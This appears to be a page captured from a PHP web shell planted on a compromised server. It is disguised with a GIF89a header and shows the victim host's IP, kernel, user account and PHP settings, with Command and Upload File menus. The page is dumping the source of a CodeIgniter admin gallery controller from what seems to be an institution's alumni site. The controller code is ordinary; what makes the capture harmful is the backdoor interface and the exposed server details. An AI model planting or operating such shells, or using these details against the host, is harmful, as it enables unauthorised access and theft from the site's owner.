GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.117.105.40 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../alumni/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of User * * @author Softpro India Pvt. Ltd. */ class Gallary extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("admin/GallaryManagement"); } public function setGallaryLimit() { if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") { $viewData["limitData"] = $this->GallaryManagement->getGallaeryLimits()->result(); $this->load->view("admin/setGallaryLimit",$viewData); } else { redirect("admin/"); } } public function saveGallaryLimits() { if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") { $this->form_validation->set_rules("lim_for", "limit for", "required", array("required" => "Select Limit For.")); $this->form_validation->set_rules("lim_pics", "pic count", "required|numeric", array("required" => "Enter Pic Count.", "numeric" => "Pic Count Must Be Numeric.")); if ($this->form_validation->run() == false) { $this->setGallaryLimit(); } else { $lim_for = $this->input->post("lim_for"); $lim_pics = $this->input->post("lim_pics"); if ($lim_pics > 0) { $gallaryLimitDetails = array( "lim_for" => $lim_for, "lim_pics" => $lim_pics); if ($this->GallaryManagement->saveGallaryLimits($gallaryLimitDetails)) { $this->session->set_flashdata("successMessage", "Gallary Limit Set Succesfully."); redirect(current_url()); } else { $this->session->set_flashdata("errorMessage", "Failed To Set Gallary Limit."); $this->setGallaryLimit(); } } else { $this->session->set_flashdata("errorMessage", "Pic Count Cannot be zero(0)."); $this->setGallaryLimit(); } } } else { redirect("admin/"); } } }